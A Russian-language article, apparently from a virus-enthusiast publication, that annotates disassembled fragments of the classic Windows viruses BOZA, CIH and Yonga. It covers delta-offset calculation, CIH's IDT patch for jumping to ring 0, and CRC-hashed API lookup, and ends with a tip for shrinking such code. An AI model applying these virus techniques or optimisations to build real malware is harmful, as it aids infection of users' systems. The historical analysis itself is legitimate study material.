Наш вирусный музей - 2
by DrMAD
Продолжаем анализировать старые классические вирусы, обнаруживая в
них забавные ошибки, незамеченные в свое время тонкости, питательную
среду для новых идей.
1. Очаровательно наивен - Win9X.BOZA/Bizatch
BOZA (в виде бета-версии - Bizatch) - первый в истории вирус,
заражавший программы PE-формата и родившийся в Австралии. По его
мотивам были написаны многие вирусы, аккуратно повторявшие все его
наивности, прежде чем появились и распространились простые и
эффективные методы заражения.
В частности, автор вируса определил адреса API-функций внутри
KERNEL32.DLL, но не догадался, что можно обращаться по ним напрямую.
Зато он воспользовался тем фактом, что в KERNEL32 для Win9X имеется
общая точка входа для всех функций. В результате программа выглядит для
современного глаза диковато и запутанно... но в этом-то ее очарование!
Вот, смотрите сами.
;
; Обращение к системнм сервисам через общую точку входа в KERNEL32.
; Вирус Win95.BOZA
;
start:
;
; Вначале выполняется классическое вычисление "дельта-смещения"
; при помощи пары команд CALL/POP Регистр
;
.vlad:00407000 call $+5
.vlad:00407005 pop ebp
.vlad:00407006 mov eax, ebp
.vlad:00407008 sub eax, 5D3Fh ; Это - от начала кодового сегмента
.vlad:0040700D push eax
.vlad:0040700E sub ebp, 440005h ; Это - от начала образа программы
;
; Далее вирус ищет в KERNEL32.DLL по предопределенным адресам
; из разных версий Win95
; уникальную сигнатуру 5350FC9Ch диспетчера функций
;
.vlad:00407014 mov eax, [ebp+4403A1h] ; Первый адрес сигнатуры
.vlad:0040701A cmp dword ptr [eax], 5350FC9Ch ; Совпало?
.vlad:00407020 jnz short loc_407031 ; Если нет - на следующую попытку
.vlad:00407022 nop ; Если да -
.vlad:00407023 nop ; то в EAX загружается
.vlad:00407024 nop ; адрес диспетчера
.vlad:00407025 nop ; API32-сервисов для
.vlad:00407026 mov eax, [ebp+4403A1h] ; конкретной версии W95.
.vlad:0040702C jmp short loc_407049 ; И переход на использование
.vlad:0040702E nop
.vlad:0040702F nop
.vlad:00407030 nop
loc_407031:
.vlad:00407031 mov eax, [ebp+44039Dh] ; Второй адрес сигнатуры
.vlad:00407037 cmp dword ptr [eax], 5350FC9Ch ; Совпало?
.vlad:0040703D jnz loc_407396 ; Если нет - отвалить совсем
.vlad:00407043 mov eax, [ebp+44039Dh] ; Есди да - см. выше.
;
; А здесь уже начинается использование адресов, найденных на предыдущем этапе
;
loc_407049:
.vlad:00407049 mov [ebp+440399h], eax ; Сохранение адреса таблички
.vlad:0040704F cld
.vlad:00407050 lea eax, [ebp+4406CBh] ; Загрузка в стек
.vlad:00407056 push eax ; параметров
.vlad:00407057 push 0FFh ; API32-сервиса
.vlad:0040705C call sub_4073A5 ; Вызов функции обращения к сервису
......................................................................................
;
; Здесь располагается собственно вызов сервиса
;
.vlad:004073A5 sub_4073A5:
.vlad:004073A5 push 0BFF77744h ; Смещение функции в KERNEL32.DLL
.vlad:004073AA jmp dword ptr [ebp+440399h] ; Вызов диспетчера
Нынешние вирусы редко ориентируются на жесткие адреса, а
предпочитают искать адреса API-функций, сканирую таблицу импорта
KERNEL32.DLL.
2. Властелин колец - Win9X.CIH
Великий и ужасный Вынь.ЧИХ. Про него так много написано (в том
числе и мной), что сказать что-нибудь новенькое - трудно.
А и не надо. Просто посмотрим на стартовый фрагмент, который:
1) устанавливает свой обработчик исключений;
2) прописывает для него в таблице дескрипторов параметры 0-го
кольца;
3) вызывает исключение.
В Win9X это исключение попадет в 0 кольцо, в Win NT/2K/XP
исключение тихо произойдет в 3-м кольце и вернет управление
программе-носителю - одним махом двух комаров убивахом! J
Алгоритм настолько известен, что упоминается даже в книжках как
стандартный способ перехода в 0 кольца из 3-го. Авторы других вирусов
берут фрагмент из Win9X.CIH и использут без малейших модификаций, не
обращая внимание на то, что при некоторых условиях (если вирус стартует
не из заголовка программы) его можно упростить и оптимизировать.
Короче, вот он:
;
; Стартовый фрагмент Win9X.CIH - переход в 0 кольцо
;
; Берется адрес IDT я- таблицы дескрипторов исключений
0335: 50 push eax
0336: 0F014C24FE sidt [esp-0002] ;
033B: 5B pop ebx
; EBP := адрес обработчика INT3
033C: 83C31C add ebx,01C
033F: FA cli
; 6-байтовый дескриптор модифицируется по частям
0340: 8B2B mov ebp,[ebx]
0342: 668B6BFC mov bp,[ebx-0004]
; Адресация на новый обработчикя
0346: 8D7112 lea esi,[ecx+00012]
0349: 56 push esi
; 1-я половина адреса
034A: 668973FC mov [ebx-0004],si
034E: C1EE10 shr esi,010
; 2-я половина адреса
0351: 66897302 mov [ebx+00002],si
0355: 5E pop esi
; Вызывается INT3
0356: CC int 3
3. Миноискатель вместо лопаты - вирус Win32.Yonga
Можно искать API-функции в KERNEL32.DLL, сравнивая побайтно имена,
зашитые в вирусе, и имена, живущие в таблице имен экспорта билиотеки. В
этом случае внутри зараженной программы на просвет видны строковые
имена - LoadLibrary, CreateFile и т.п.
Считается, что первым придумал, как этого избежать, GriYO/29A в
своем вирусе Win32.Parvo. Надо сравнивать не имена, а контрольные коды
от этих имен, например, CRC.
Большой энтузиаст такого подхода Bumblebee/29A. Вот как этот
алгоритм реализован в его вирусе Win32.Yonga.
;
; Поиск API в памяти KERNEL32.DLL при помощи сравнения
; контрольных кодов
; Вирус Win32.Yonga.4434
;
;
....
.41809E: xor edx,edx
.4180A0: mov [ebp][422462],edx
.4180A6: lea eax,[ebp][401F5D] ; Адрес таблицы значений CRC
.4180AC: mov esi,[ebp][422456] ; Адрес таблицы имен экспорта
.4180B2: add esi,edx
.4180B4: mov esi,[esi]
.4180B6: add esi,edi
.4180B8: push eax
.4180B9: push edx
.4180BA: push edi
.4180BB: xor edi,edi
.4180BD: movzx di,b,[eax][04]
.4180C2: call .41868A ; Расчет CRC
.4180C7: xchg ebx,eax ; EBX := Результат расчета
.4180C8: pop edi
.4180C9: pop edx
.4180CA: pop eax
.4180CB: cmp ebx,[eax] ; CRC совпадает?
.4180CD: je .4180EE ; Готово
.4180CF: add edx,004
.4180D2: inc d,[ebp][422462]
.4180D8: push edx
.4180D9: mov edx,[ebp][422462]
.4180DF: cmp [ebp][00042245E],edx ; Конец таблицы?
.4180E5: pop edx
.4180E6: je .4185EB ; Такого вообще нет
.4180EC: jmps .4180AC ; Сравнение со следующим
.4180EE: ....
; Процедура расчета CRC
.41868A: cld
.41868B: xor ecx,ecx
.41868D: dec ecx
.41868E: mov edx,ecx
.418690: push ebx
.418691: xor eax,eax
.418693: xor ebx,ebx
.418695: lodsb ; Очередные 8 бит
.418696: xor al,cl
.418698: mov cl,ch
.41869A: mov ch,dl
.41869C: mov dl,dh
.41869E: mov dh,008
.4186A0: shr bx,1
.4186A3: rcr ax,1
.4186A6: jae .4186B1
.4186A8: xor ax,08320 ; Стандартный
.4186AC: xor bx,0EDB8 ; порождающий полином CRC32
.4186B1: dec dh
.4186B3: jne .4186A0
.4186B5: xor ecx,eax
.4186B7: xor edx,ebx
.4186B9: dec edi
.4186BA: jne .418691
.4186BC: pop ebx ;
.4186BD: not edx ; Кстати, это нужно только для
.4186BF: not ecx ; совпадения со стандарттом на CRC-32,
.4186C1: mov eax,edx ; а на обнаруживающую способность
.4186C3: rol eax,010 ; результата (остатка) никак не влияет.
.4186C6: mov ax,cx ;
.4186C9: retn
...
; Таблица заранее рассчитанных CRC имен
.418D50: 66 0E 69
.418D60: 03 12 47 63-F9 BF D5 BA-9B 0E 13 F5-4A F9 BF DF
.418D70: 2D 89 8C 0C-DB 7A F7 BF-EC 49 7B 79-0E A9 20 F8
А можно ли реализовать это как-нибудь попроще, не используя
достаточно длинные и сложные процедуры расчета CRC?
В книжке Кернигана и Ричи "Язык программирования С++" упоминается
простой метод расчета контрольных сумм:
sum := A*sum + s[i].
При A=1 имеем простое суммирование байтов, и это - далеко не самый
лучший вариант. На 700 с лишним именах из KERNEL32.DLL от Windows 98 он
дает множество неприятных коллизий. Например, CreateFileA и MoveFileExA
имеют общую контрольную сумму 1045.
Зато, например, при A=5 (или 7, или 9, или 10, или...) коллизий нет
вообще! Керниган и Ричи рекомендует A=31 и отмечают, что этот алгоритм
неплох, но только для хеширования недлинных текстовых строк... а ведь у
нас именно этот случай! Так что, если бы Bumblebee знал бы об этом,
полсотни байтов он точно сэкономил бы. J
|